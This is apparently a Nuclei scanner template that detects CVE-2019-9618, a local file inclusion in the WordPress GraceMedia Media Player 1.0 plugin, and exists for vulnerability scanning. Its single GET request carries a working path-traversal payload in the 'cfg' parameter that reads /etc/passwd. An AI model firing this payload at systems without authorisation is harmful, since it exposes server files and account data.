id: CVE-2019-9618

info:
  name: WordPress GraceMedia Media Player 1.0 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.
  impact: |
    Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.
  remediation: |
    Update to the latest version of the plugin or apply security patches to sanitize the 'cfg' parameter.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618
    - https://seclists.org/fulldisclosure/2019/Mar/26
    - https://www.exploit-db.com/exploits/46537
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9618
    - http://seclists.org/fulldisclosure/2019/Mar/32
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9618
    cwe-id: CWE-22
    epss-score: 0.40771
    epss-percentile: 0.98513
    cpe: cpe:2.3:a:gracemedia_media_player_project:gracemedia_media_player:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gracemedia_media_player_project
    product: gracemedia_media_player
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,lfi,seclists,edb,gracemedia_media_player_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500
# digest: 490a00463044022074260b3166c071266b0af558dc3231f947004e03ee263a65751cfd6242732e3002200833fe417551d0dd3735bd0c86073bd78de0ddacebe094c41f92cf0b9614cfad:922c64590222798bb761d5b6d8e72950